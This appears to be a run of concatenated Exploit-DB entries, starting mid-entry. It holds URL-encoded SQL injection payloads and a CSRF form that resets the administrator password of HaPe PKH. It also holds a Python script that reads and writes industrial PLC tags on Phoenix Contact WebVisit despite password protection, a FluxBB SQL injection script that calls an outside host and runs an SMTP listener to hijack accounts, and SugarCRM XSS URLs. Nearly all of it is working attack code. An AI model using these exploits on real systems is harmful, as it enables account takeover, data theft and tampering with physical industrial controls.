desa=%27%20%41%4e%44%20%28%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%28%53%45%4c%45%43%54%28%53%4c%45%45%50%28%35%29%29%29%58%29%2d%2d%20%58

# 3) Everyone
# http://localhost/[PATH]/admin/media.php?module=desa&act=hapus&id=[SQL]

%27%20%41%4e%44%20%28%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%28%53%45%4c%45%43%54%28%53%4c%45%45%50%28%35%29%29%29%58%29%2d%2d%20%58

# 4) Users
# http://localhost/[PATH]/admin/media.php?module=pengurus&act=print&id=[SQL]

%2d%77%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2d%2d%20%2d
 
# 5) Users
# http://localhost/[PATH]/admin/media.php?module=pengurus&act=editpengurus&id=[SQL]

&id=%2d%77%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2d%2d%20%2d
 
# 6) Users
# http://localhost/[PATH]/admin/media.php?module=fasilitas&act=editfasilitas&id=[SQL]

%2d%31%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%53%59%53%54%45%4d%5f%55%53%45%52%28%29%2c%33%2c%34%2c%35%2c%36%2c%37%2d%2d%20%2d
 
# 7) Users
# http://localhost/[PATH]/admin/media.php?module=kelompok&act=editkelompok&id=[SQL]

%2d%31%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2c%34%2c%35%2d%2d%20%2d
 
# 8) Everyone
# Delete Item *

http://localhost/[PATH]/admin/modul/mod_pengurus/aksi_pengurus.php?module=pengurus&act=hapus&id=[ID]
http://localhost/[PATH]/admin/modul/mod_update/aksi_update.php?module=update&act=hapus&id=[ID]
            
# Exploit Title: HaPe PKH 1.1 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-10-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.sitejo.id
# Software Link: https://sourceforge.net/projects/hape-pkh/files/latest/download
# Version: 1.1 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Description
# The administrator password can be changed.

POST /hape-pkh/admin/modul/mod_user/aksi_user.php?module=user&act=update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 350
Cookie: PHPSESSID=0msajnig4du85odc3hanq1dil2
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------265001916915724
Content-Disposition: form-data; name="id_user"
1
-----------------------------265001916915724
Content-Disposition: form-data; name="password"
efe
-----------------------------265001916915724
Content-Disposition: form-data; name="level"
admin
-----------------------------265001916915724--

/* `exploitdb`.`admin` */
$admin = array(
  array('id_user' => '1','nama_lengkap' => '','jk' => '','tempat' => '','tl' => '0000-00-00','alamat' => '','id_desa' => '','no_telp' => '','email' => '','username' => 'admin','password' => '5ebf8364d17c8df7e4afd586c24f84a0','level' => 'admin','blokir' => '','foto' => '76dsc00404.jpg')
);
efe = 5ebf8364d17c8df7e4afd586c24f84a0

# PoC:
# 2)

<form method="POST" enctype="multipart/form-data" action="http://localhost/hape-pkh/admin/modul/mod_user/aksi_user.php?module=user&act=update">
<input name="id_user" value="1" type="hidden">
<input name="username" value="admin" disabled=""> 
<input class="input3" size="30" name="password" type="text" value="efe">
<input name="level" value="admin" checked="" type="radio">
<input value="Update" type="submit">
</form>
            
# Exploit Title: Phoenix Contact WebVisit 2985725 - Authentication Bypass
# Date: 2018-09-30
# Exploit Author: Deneut Tijl
# Vendor Homepage: www.phoenixcontact.com
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
# Version: WebVisit (all versions)
# CVE : CVE-2016-8380, CVE-2016-8371

# Description
# Script to read and write PLC tags via a Webvisit HMI page (even in case of a password protection)
# Steps:
# * Get Project Name: http://<ip>/
# * Get list of tags: http://<ip>/<projectname>.tcr
# * Get current values of tags: http://<ip>/cgi-bin/ILRReadValues.exe
# * Set new tag values: http://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)

# CVE-2016-8380-SetPLCValues.py

#! /usr/bin/env python

import urllib2

strIP = raw_input('Please enter an IP [192.168.1.200]: ')
if strIP == '': strIP = '192.168.1.200'

try:
    URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': no response')
    raw_input('Press Enter to exit')
    exit()

strProject = ''
for line in URLResponse.readlines():
    if 'ProjectName' in line:
        strProject = line.split('VALUE="')[1].split('"')[0]

if strProject == '':
    print('#### Error, no \'ProjectName\' found on the main page')
    raw_input('Press Enter to exit')
    exit()

print('---- Found project \'' + strProject + '\', retrieving list of tags')

try:
    TagResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strProject + '.tcr'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': /' + strProject + '.tcr not found')
    raw_input('Press Enter to exit')
    exit()

arrTagList = []
for line in TagResponse.readlines():
    if line.startswith('#!-- N ='):
        intNumberOfTags = int(line.split('=')[1])
        print('---- There should be ' + str(intNumberOfTags) + ' tags:')
    if not line.startswith('#'):
        if not line.split(';')[0].strip() == '':
            arrTagList.append(line.split(';')[0].strip())
            print('-- '+line.split(';')[0].strip())


raw_input('Press Enter to query them all')
import os, urllib
os.system('cls' if os.name == 'nt' else 'clear')
strPost = '<body>'
strPost += '<item_list_size>' + str(len(arrTagList)) + '</item_list_size>'
strPost += '<item_list>'
for item in arrTagList:
    strPost += '<i><n>' + item + '</n></i>'
strPost += '</item_list></body>'
DataResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/ILRReadValues.exe', strPost)).read()

arrData = []
for item in DataResponse.split('<i>'):
    if '<n>' in item:
        name = item.split('<n>')[1].split('</n>')[0]
        value = item.split('<v>')[1].split('</v>')[0]
        arrData.append((name,value))
print('----- Full list of tags and their values:')
i = 0
for item in arrData:
    i += 1
    print(str(i) + ': Tag ' + item[0] + ' has value: ' + item[1])

ans1 = raw_input('Want to change a tag? Enter a number or press Enter to quit: ')
if ans1 == '':
    exit()
strTag = arrData[int(ans1) - 1][0]
strVal = arrData[int(ans1) - 1][1]
ans2 = raw_input('Setting value for ' + strTag + ' [' + strVal + ']: ')
if ans2 == '': ans2 = strVal
urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/writeVal.exe?' + urllib.quote_plus(strTag) + '+' + str(ans2)))
            
#!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway () safe-mail net
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable

url  = 'http://target.tld/forum/'
user = 'user' # dummy account
pwd  = 'test' 

import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'

def stage1(sql):
	if len(sql) > 80:
		sys.exit('SQL too long, max 80 chars')
	print "1st stage: %s (%d chars)" % (sql, len(sql))
	r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read()
	if 'An email has been sent to the specified address' not in r:
		sys.exit('err')

def stage3(key):
	print "3rd stage, using key: %s" % key
	r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read()
	if 'Your password has been updated' in r:
		print 'success'
	else:
		print 'err'

class stage2_smtp(smtpd.SMTPServer):
	def process_message(self, peer, mailfrom, rcpttos, data):
		print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
		key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
		if key is not None: 
			raise asyncore.ExitNow(key.group(2))
		return

def login():
	print "logging in"
	r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
	try:
		t = r.info()['set-cookie'].split(';')[0]
		return (t.split('=')[1].split('%7C')[0], t)
	except:
		sys.exit('unable to login, check user/pass')

uid, cookie = login()

email_domain = urlopen(Request('http://tns.re/gen')).read()
print "using domain: %s" % email_domain

#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))

#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))

try:
	print "2nd stage: waiting for mail"
	server = stage2_smtp((bindip, 25), None)
	asyncore.loop()
except asyncore.ExitNow, key:
	stage3(key)
            
# Exploit Title: SugarCRM 6.5.26 - Cross-Site Scripting
# Date: 2018-09-29
# Exploit Author: Purplemet Security
# Author Website: https://www.purplemet.com/
# Vendor Homepage: https://www.sugarcrm.com/
# Software Link: https://sourceforge.net/projects/sugarcrm/
# Version: 6.5.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-17784

# Description
# A vulnerability in uploader.swf, io.swf and flashcanvas.swf in SugarCRM Community Edition 6.5.26 
# could allow an unauthenticated, remote attacker to conduct a cross-site scripting 
# (XSS) attack on a targeted system.
# SugarCRM Community Edition 6.5 had reached its end-of-life and is no longer supported. 
# 6.5.26 is the last version and no patches will be provided by the vendor.

# PoC:
# 1) 
http://192.168.13.37/sugarcrm/include/javascript/yui/build/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}

# 2) 
http://192.168.13.37/sugarcrm/include/javascript/yui3/build/io/io.swf?yid=\%22));}catch(e){alert('XSS');}

# 3) 
http://192.168.13.37/sugarcrm/include/SugarCharts/Jit/FlashCanvas/flashcanvas.swf?id=12345678\%22));}catch(e){alert(%27XSS%27)}